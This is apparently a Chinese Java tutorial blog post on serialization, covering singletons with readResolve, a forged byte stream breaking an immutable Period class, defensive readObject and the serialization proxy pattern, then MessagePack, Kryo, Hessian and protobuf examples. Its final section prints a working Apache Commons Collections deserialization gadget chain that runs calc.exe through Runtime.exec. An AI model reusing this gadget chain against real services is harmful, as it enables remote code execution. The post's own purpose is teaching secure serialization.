1、序列化与单例模式
public class MyUserSingleton implements Serializable {
private static final long serialVersionUID = -5182532647273106745L;
private String password;
private String userName;
transient private String sex;
private static class InstanceHolder {
private static final MyUserSingleton instatnce = new MyUserSingleton("严", "123456", "M");
}
public static MyUserSingleton getInstance() {
return InstanceHolder.instatnce;
}
private MyUserSingleton() {
}
private MyUserSingleton(String userName, String password, String sex) {
this.userName = userName;
this.password = password;
this.sex = sex;
}
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
out.writeObject(this.sex);
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
this.sex = (String)in.readObject();
}
// ①
//private Object readResolve() throws ObjectStreamException {
//return InstanceHolder.instatnce;
//}
// 略
}
@Test
public void testSerial3() throws IOException, ClassNotFoundException {
//序列化
FileOutputStream fos = new FileOutputStream("singleton.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(MyUserSingleton.getInstance());
oos.flush();
oos.close();
//反序列化
FileInputStream fis = new FileInputStream("singleton.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
MyUserSingleton user2 = (MyUserSingleton) ois.readObject();
System.out.println(user2.getUserName() + " " + user2.getPassword() + " " + user2.getSex());
System.out.println(MyUserSingleton.getInstance() == user2);
}
上述MyUserSingleton类看似单例模式,但反序列化后得到的对象却不等于(==)那个单例对象。将①处的readResolve()方法去掉注释后,才是严格意义上的单例模式。
2、序列化与不可变类
import java.io.Serializable;
import java.util.Date;
public final class Period implements Serializable {
private static final long serialVersionUID = 4647424730390249716L;
private final Date start;
private final Date end;
public Period(Date start, Date end) {
if (null == start || null == end || start.after(end)) {
throw new IllegalArgumentException("请传入正确的时间区间!");
}
this.start = new Date(start.getTime());
this.end = new Date(end.getTime());
}
public Date start() {
return new Date(start.getTime());
}
public Date end() {
return new Date(end.getTime());
}
@Override
public String toString() {
return "起始时间:" + start + " , 结束时间:" + end;
}
}
注意:Period类没有包名,而且不是严格意义上的“不可变类”。通过伪造字节流可以构造出一个“叛逆的对象”,即它的开始时间可以晚于结束时间。
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
public class BogusPeriod {
// Byte stream could not have come from real Period instance
private static final byte[] serializedForm = new byte[] {
(byte)0xac, (byte)0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x06,
0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x40, 0x7e, (byte)0xf8,
0x2b, 0x4f, 0x46, (byte)0xc0, (byte)0xf4, 0x02, 0x00, 0x02,
0x4c, 0x00, 0x03, 0x65, 0x6e, 0x64, 0x74, 0x00, 0x10, 0x4c,
0x6a, 0x61, 0x76, 0x61, 0x2f, 0x75, 0x74, 0x69, 0x6c, 0x2f,
0x44, 0x61, 0x74, 0x65, 0x3b, 0x4c, 0x00, 0x05, 0x73, 0x74,
0x61, 0x72, 0x74, 0x71, 0x00, 0x7e, 0x00, 0x01, 0x78, 0x70,
0x73, 0x72, 0x00, 0x0e, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x75,
0x74, 0x69, 0x6c, 0x2e, 0x44, 0x61, 0x74, 0x65, 0x68, 0x6a,
(byte)0x81, 0x01, 0x4b, 0x59, 0x74, 0x19, 0x03, 0x00, 0x00,
0x78, 0x70, 0x77, 0x08, 0x00, 0x00, 0x00, 0x66, (byte)0xdf,
0x6e, 0x1e, 0x00, 0x78, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x03,
0x77, 0x08, 0x00, 0x00, 0x00, (byte)0xd5, 0x17, 0x69, 0x22,
0x00, 0x78 };
public static void main(String[] args) {
Period p = (Period) deserialize(serializedForm);
System.out.println(p);
}
// Returns the object with the specified serialized form
public static Object deserialize(byte[] sf) {
try {
InputStream is = new ByteArrayInputStream(sf);
ObjectInputStream ois = new ObjectInputStream(is);
return ois.readObject();
} catch (Exception e) {
throw new IllegalArgumentException(e.toString());
}
}
}
控制台输出:起始时间:Sat Jan 02 04:00:00 CST 1999 , 结束时间:Mon Jan 02 04:00:00 CST 1984
完善后的Period类,注意:去掉了final字样,新增了readObject()方法:
import java.io.IOException;
import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Date;
public final class Period implements Serializable {
private static final long serialVersionUID = 4647424730390249716L;
// 去掉了final
private Date start;
private Date end;
public Period(Date start, Date end) {
if (null == start || null == end || start.after(end)) {
throw new IllegalArgumentException("请传入正确的时间区间!");
}
this.start = new Date(start.getTime());
this.end = new Date(end.getTime());
}
public Date start() {
return new Date(start.getTime());
}
public Date end() {
return new Date(end.getTime());
}
@Override
public String toString() {
return "起始时间:" + start + " , 结束时间:" + end;
}
// 新增的方法
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
start = new Date(start.getTime());
end = new Date(end.getTime());
if (start.compareTo(end) > 0) {
throw new InvalidObjectException(start + " after " + end);
}
}
}
再次运行BogusPeriod,得到以下异常,漏洞被修复了:
Exception in thread “main” java.lang.IllegalArgumentException: java.io.InvalidObjectException: Sat Jan 02 04:00:00 CST 1999 after Mon Jan 02 04:00:00 CST 1984
3、序列化代理模式
序列化代理模式可以让你轻松实现安全的代码。
import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Date;
public class Period implements Serializable {
private static final long serialVersionUID = 1L;
private final Date start;
private final Date end;
public Period(Date start, Date end) {
if (null == start || null == end || start.after(end)) {
throw new IllegalArgumentException("请传入正确的时间区间!");
}
this.start = start;
this.end = end;
}
public Date start() {
return new Date(start.getTime());
}
public Date end() {
return new Date(end.getTime());
}
@Override
public String toString() {
return "起始时间:" + start + " , 结束时间:" + end;
}
/**
* 序列化外围类时,虚拟机会转掉这个方法,最后其实是序列化了一个内部的代理类对象!
*/
private Object writeReplace() {
System.out.println("进入writeReplace()方法!");
return new SerializabtionProxy(this);
}
/**
* 如果攻击者伪造了一个字节码文件,然后来反序列化也无法成功,因为外围类的readObject方法直接抛异常!
*/
private void readObject(ObjectInputStream ois) throws InvalidObjectException {
throw new InvalidObjectException("Proxy required!");
}
/**
* 序列化代理类,他精确表示了其当前外围类对象的状态!最后序列化时会将这个私有内部内进行序列化!
*/
private static class SerializabtionProxy implements Serializable {
private static final long serialVersionUID = 1L;
private final Date start;
private final Date end;
SerializabtionProxy(Period p) {
this.start = p.start;
this.end = p.end;
}
/**
* 反序列化这个类时,虚拟机会调用这个方法,最后返回的对象是一个Period对象!这里同样调用了Period的构造函数,
* 会进行构造函数的一些校验!
*/
private Object readResolve() {
System.out.println("进入readResolve()方法,将返回Period对象!");
// 这里进行保护性拷贝!
return new Period(new Date(start.getTime()), new Date(end.getTime()));
}
}
}
@Test
public void testSerial() throws IOException, ClassNotFoundException {
//序列化
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
GregorianCalendar gc = new GregorianCalendar(2019, 6, 1);
GregorianCalendar gc2 = new GregorianCalendar(2019, 6, 30);
Date start = gc.getTime(), end = gc2.getTime();
Period period = new Period(start, end);
oos.writeObject(period);
oos.flush();
oos.close();
//反序列化
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Period period2 = (Period) ois.readObject();
System.out.println(period2.toString());
}
控制台输出:
进入writeReplace()方法!
进入readResolve()方法,将返回Period对象!
起始时间:Mon Jul 01 00:00:00 CST 2019 , 结束时间:Tue Jul 30 00:00:00 CST 2019
4、其他序列化工具
4.1 MessagePack
MessagePack据声称是一个很高效的序列化工具,我司的RPC框架就使用了它。先看一个小栗子:
<dependency>
<groupId>org.msgpack</groupId>
<artifactId>msgpack</artifactId>
<version>0.6.12</version>
</dependency>
import org.msgpack.annotation.Message;
@Message
public class Info {
private String id;
private String name;
// 略
}
public static void main(String[] args) throws IOException {
Info info = new Info();
info.setId("11111");
info.setName("Tom");
MessagePack messagePack = new MessagePack();
byte[] bs = messagePack.write(info);
Info infoOut = messagePack.read(bs, Info.class);
System.out.println("######" + infoOut.toString());
}
注意:Info类未实现Serializable接口。
4.2 Kryo
Kryo是一个快速、高效的Java二级制对象图序列化框架,旨在提供快速、序列化文件小和易用的API。无论对象被序列化到文件、数据库或网络,Kryo都非常有用。Kryo还可以执行自动深拷贝(克隆)、浅拷贝(克隆)。这一过程是对象到对象的直接拷贝,而非对象到字节流,再到对象的拷贝。
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.2</version>
</dependency>
public class User {
private String name;
private String sex;
private int age;
private Map<?, ?> map;
// 略
}
@Test
public void testXxx() throws FileNotFoundException {
//创建对象
User obj = new User();
obj.setName("张三");
Map<String, String> map = new HashMap();
map.put("key", "value");
obj.setMap(map);
//写入
Kryo kryo = new Kryo();
Output output = new Output(new FileOutputStream("D:/file.bin"));
kryo.writeObject(output, obj);
output.close();
//读取
Input input = new Input(new FileInputStream("D:/file.bin"));
User user = kryo.readObject(input, User.class);
input.close();
System.out.println(user.getName());
System.out.println(user.getMap().get("key"));
}
4.3 hessian
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.62</version>
</dependency>
public class Employee implements Serializable {
private static final long serialVersionUID = 1L;
private int employeeId;
private String employeeName;
private String department;
// 略
}
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import org.junit.Test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class HessianSerializeDeserializeTest {
@Test
public void testXxx() throws IOException {
Employee employee = new Employee();
employee.setEmployeeId(1);
employee.setEmployeeName("小王");
employee.setDepartment("技术研发部");
// 序列化
byte[] serialize = serialize(employee);
// 反序列化
Employee deserialize = deserialize(serialize);
System.out.println(deserialize.toString());
}
public static byte[] serialize(Employee employee) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// Hessian的序列化输出
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(employee);
return byteArrayOutputStream.toByteArray();
}
public static Employee deserialize(byte[] employeeArray) throws IOException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(employeeArray);
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
return (Employee) hessianInput.readObject();
}
}
4.4 protobuf
按规范编辑文件文件:message.proto
syntax = "proto3";
message Person {
int32 id = 1;
string name = 2;
repeated Phone phone = 4;
enum PhoneType {
MOBILE = 0;
HOME = 1;
WORK = 2;
}
message Phone {
string number = 1;
PhoneType type = 2;
}
}
安装protoc for win软件后,生产类似于POJO的类Message.java,但其内容非常非常多。
D:\ThirdPartiesFiles\protobuf\protoc-3.8.0-win64\bin>protoc.exe --java_out=./java ./message.proto
<dependency>
<groupId>com.google.protobuf</groupId>
<artifactId>protobuf-java</artifactId>
<version>3.8.0</version>
</dependency>
@Test
public void testProtobuf() {
Message.Person.Builder personBuilder = Message.Person.newBuilder();
personBuilder.setId(12345678);
personBuilder.setName("严");
personBuilder.addPhone(Message.Person.Phone.newBuilder().setNumber("10010").setType(Message.Person.PhoneType.MOBILE));
personBuilder.addPhone(Message.Person.Phone.newBuilder().setNumber("10086").setType(Message.Person.PhoneType.HOME));
personBuilder.addPhone(Message.Person.Phone.newBuilder().setNumber("10000").setType(Message.Person.PhoneType.WORK));
Message.Person person = personBuilder.build();
byte[] buff = person.toByteArray();
try {
Message.Person personOut = Message.Person.parseFrom(buff);
System.out.printf("Id:%d, Name:%s\n", personOut.getId(), personOut.getName());
List<Message.Person.Phone> phoneList = personOut.getPhoneList();
for (Message.Person.Phone phone : phoneList) {
System.out.printf("PhoneNumber:%s (%s)\n", phone.getNumber(), phone.getType());
}
} catch (InvalidProtocolBufferException e) {
e.printStackTrace();
}
System.out.println(Arrays.toString(buff));
}
5、漏洞与安全
这是一个很大的话题,我也不甚了解。来个栗子:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class BadExceptionTest {
public static void main(String[] args) throws Exception {
new BadExceptionTest().run();
}
public void run() throws Exception {
deserialize(serialize(getObject()));
}
//在此方法中返回恶意对象
public Object getObject() throws Exception {
//构建恶意代码
String command="calc.exe";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs)
};
Transformer transformer = new ChainedTransformer(transformers);
final Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
//利用反射的方式来向对象传参
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
return val;
}
public byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
在win10上运行后,可以弹出操作系统自带的计数器,细思极恐!!!代码来自这里。